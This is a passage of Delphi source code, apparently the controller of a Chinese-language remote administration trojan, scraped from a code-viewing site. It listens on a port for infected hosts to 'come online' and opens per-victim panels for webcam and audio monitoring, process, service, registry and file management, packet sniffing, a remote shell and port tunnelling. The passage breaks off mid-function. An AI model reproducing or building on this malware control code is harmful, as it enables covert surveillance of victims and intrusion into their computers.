📄 unitmain.pas
字号:
if StreamRecord.ProgressBar <> nil then
begin
StreamRecord.ProgressBar.Free;
end;
if StreamRecord.StreamListItem <> nil then
begin
StreamRecord.StreamListItem.Data := nil;
StreamRecord.StreamListItem.Delete;
end;
StreamRecord.Free;
end;
procedure TMain.ProcessManager1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Processes: TProcesses;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Processes := TProcesses.Create(Application);
Processes.MainSocket := Socket;
Processes.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Processes.WindowItem := Window.ListView1.Items.Add;
Processes.WindowItem.Data := Processes;
Processes.WindowItem.Caption := '进程管理';
Processes.WindowItem.SubItems.Add(Split(Processes.RemoteAddress, ':', 1));
Processes.WindowItem.SubItems.Add(Split(Processes.RemoteAddress, ':', 2));
Processes.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.AudioCapture1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Audio: TAudio;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Audio := TAudio.Create(Application);
Audio.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Audio.WindowItem := Window.ListView1.Items.Add;
Audio.WindowItem.Data := Audio;
Audio.WindowItem.Caption := '声音监控';
Audio.WindowItem.SubItems.Add(Split(Audio.RemoteAddress, ':', 1));
Audio.WindowItem.SubItems.Add(Split(Audio.RemoteAddress, ':', 2));
Audio.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.WebcamCapture1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Webcam: TWebcam;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
if not TStreamRecord(Socket.Data).Info.Webcam then
begin
MessageBox(0, '无法连接远程视频设备', '摄像头监控', 0);
Exit;
end;
Webcam := TWebcam.Create(Application);
Webcam.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Webcam.WindowItem := Window.ListView1.Items.Add;
Webcam.WindowItem.Data := Webcam;
Webcam.WindowItem.Caption := '摄像头监控';
Webcam.WindowItem.SubItems.Add(Split(Webcam.RemoteAddress, ':', 1));
Webcam.WindowItem.SubItems.Add(Split(Webcam.RemoteAddress, ':', 2));
Webcam.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.NetworkBrowser1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Network: TNetwork;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Network := TNetwork.Create(Application);
Network.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Network.WindowItem := Window.ListView1.Items.Add;
Network.WindowItem.Data := Network;
Network.WindowItem.Caption := '查看共享';
Network.WindowItem.SubItems.Add(Split(Network.RemoteAddress, ':', 1));
Network.WindowItem.SubItems.Add(Split(Network.RemoteAddress, ':', 2));
Network.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.Timer1Timer(Sender: TObject);
var
ClientLoop: Integer;
Socket: TCustomWinSocket;
CommandFrame: TCommandFrame;
ReplyStream: TMemoryStream;
StreamRecord: TStreamRecord;
begin
CommandFrame.len := 0;
CommandFrame.Command := $FFFFFFFF;
CommandFrame.ID := FRAME_ID;
for ClientLoop := 0 to Clients.Count - 1 do
begin
if ClientLoop >= Clients.Count then Exit;
Socket := TCustomWinSocket(Clients.Items[ClientLoop]);
StreamRecord := TStreamRecord(Socket.Data);
if not StreamRecord.ReceivingStream then
begin
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
end;
end;
function SortProc(Item1, Item2: TListItem; ParamSort: Integer): Integer; stdcall;
begin
Result := 0;
case Main.SortType of
0:
begin
case Main.SortMode of
0: Result := lstrcmpi(PChar(Item1.Caption), PChar(Item2.Caption));
1: Result := -(lstrcmpi(PChar(Item1.Caption), PChar(Item2.Caption)));
end;
end;
else
begin
if (Main.SortType - 1) >= Item1.SubItems.Count then Exit;
if (Main.SortType - 1) >= Item2.SubItems.Count then Exit;
case Main.SortMode of
0: Result := lstrcmpi(PChar(Item1.SubItems.Strings[Main.SortType - 1]), PChar(Item2.SubItems.Strings[Main.SortType - 1]));
1: Result := -(lstrcmpi(PChar(Item1.SubItems.Strings[Main.SortType - 1]), PChar(Item2.SubItems.Strings[Main.SortType - 1])));
end;
end;
end;
end;
procedure TMain.ServiceManager1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Services: TServices;
begin
if not Assigned(ListView1.Selected) then Exit;
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Services := TServices.Create(Application);
Services.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Services.WindowItem := Window.ListView1.Items.Add;
Services.WindowItem.Data := Services;
Services.WindowItem.Caption := '服务管理';
Services.WindowItem.SubItems.Add(Split(Services.RemoteAddress, ':', 1));
Services.WindowItem.SubItems.Add(Split(Services.RemoteAddress, ':', 2));
Services.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.WindowView1Click(Sender: TObject);
begin
Window.Show;
end;
procedure TMain.N11Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Traffic: TTraffic;
begin
if not Assigned(ListView1.Selected) then Exit;
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Traffic := TTraffic.Create(Application);
Traffic.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Traffic.MainSocket := Socket;
Traffic.WindowItem := Window.ListView1.Items.Add;
Traffic.WindowItem.Data := Traffic;
Traffic.WindowItem.Caption := '网络嗅探';
Traffic.WindowItem.SubItems.Add(Split(Traffic.RemoteAddress, ':', 1));
Traffic.WindowItem.SubItems.Add(Split(Traffic.RemoteAddress, ':', 2));
Traffic.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.RegistryEditor1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Registry: TRegistry;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Registry := TRegistry.Create(Application);
Registry.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Registry.WindowItem := Window.ListView1.Items.Add;
Registry.WindowItem.Data := Registry;
Registry.WindowItem.Caption := '注册表管理';
Registry.WindowItem.SubItems.Add(Split(Registry.RemoteAddress, ':', 1));
Registry.WindowItem.SubItems.Add(Split(Registry.RemoteAddress, ':', 2));
Registry.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.RemoteShell1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Shell: TShell;
begin
if not Assigned(ListView1.Selected) then Exit;
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Shell := TShell.Create(Application);
Shell.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Shell.WindowItem := Window.ListView1.Items.Add;
Shell.WindowItem.Data := Shell;
Shell.WindowItem.Caption := '超级终端';
Shell.WindowItem.SubItems.Add(Split(Shell.RemoteAddress, ':', 1));
Shell.WindowItem.SubItems.Add(Split(Shell.RemoteAddress, ':', 2));
Shell.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.TCPTunnel1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Tunnel: TTunnel;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Tunnel := TTunnel.Create(Application);
Tunnel.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Tunnel.WindowItem := Window.ListView1.Items.Add;
Tunnel.WindowItem.Data := Tunnel;
Tunnel.WindowItem.Caption := '端口转发';
Tunnel.WindowItem.SubItems.Add(Split(Tunnel.RemoteAddress, ':', 1));
Tunnel.WindowItem.SubItems.Add(Split(Tunnel.RemoteAddress, ':', 2));
Tunnel.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
procedure TMain.FileManager1Click(Sender: TObject);
var
CommandFrame: TCommandFrame;
Socket: TCustomWinSocket;
ReplyStream: TMemoryStream;
Files: TFiles;
begin
CommandFrame.len := 0;
CommandFrame.Command := M_CONNECT;
CommandFrame.ID := FRAME_ID;
if not Assigned(ListView1.Selected) then Exit;
Socket := TCustomWinSocket(ListView1.Selected.Data);
if not Assigned(Socket) then Exit;
Files := TFiles.Create(Application);
Files.MainSocket := Socket;
Files.RemoteAddress := TStreamRecord(Socket.Data).LocalAddress;
Files.WindowItem := Window.ListView1.Items.Add;
Files.WindowItem.Data := Files;
Files.WindowItem.Caption := '文件管理';
Files.WindowItem.SubItems.Add(Split(Files.RemoteAddress, ':', 1));
Files.WindowItem.SubItems.Add(Split(Files.RemoteAddress, ':', 2));
Files.Show;
ReplyStream := TMemoryStream.Create;
ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
SendStream(Socket, ReplyStream);
end;
//读取端口设置
procedure TMain.LoadINIFile;
begin
INIFileName := ExtractFilePath(Paramstr(0)) + '2006_2.ini';
Myinifile := Tinifile.Create(INIFileName);
try
if FileExists(INIFileName) then begin
Application.ProcessMessages;
end;
except
end;
Application.ProcessMessages;
try
{-----------------------------------------}
// Myinifile.writestring('LocalPort', 'port', '80'); {自动上线端口}
// SportEdit.Text := '80';
except
end;
// port := 80;
end;
//自动监听端口
procedure TMain.IPCreate;
begin
//SportEdit.Text := Myinifile.Readstring('LocalPort', 'port', SportEdit.Text);
//port := Strtoint(SportEdit.Text);
port := StrToInt(Myinifile.Readstring('LocalPort', 'port',''));
if Port = 0 then
begin
Active1.Checked := False;
Exit;
end;
ServerSocket.Port := port;
ServerSocket.Active := True;
ServicePort1.Enabled := False; //设置端口设置为灰色
Active1.Checked := True;
ListView1.Items.Clear;
Clients.Clear;
if ServerSocket.Active then
StatusBar1.Panels.Items[0].Text := ' 当前状态: 打开本地端口成功,等待主机上线...' + IntToStr(ServerSocket.Port)
else
StatusBar1.Panels.Items[0].Text := '打开监听端口失败!无法打开端口';
end;
//更改设置
procedure TMain.Button1Click(Sender: TObject);
begin
Port := StrToInt(Myinifile.Readstring('LocalPort', 'port', ''));
{ try
II := Myinifile.Readstring('LocalPort', 'port', '1080');
if ii <> SportEdit.text then
begin
port := StrtoInt(SportEdit.text);
Myinifile.writestring('LocalPort', 'port', SportEdit.text);
try
ServerSocket.Active := False;
Port := StrToInt(SportEdit.Text);
ServerSocket.Port := port;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -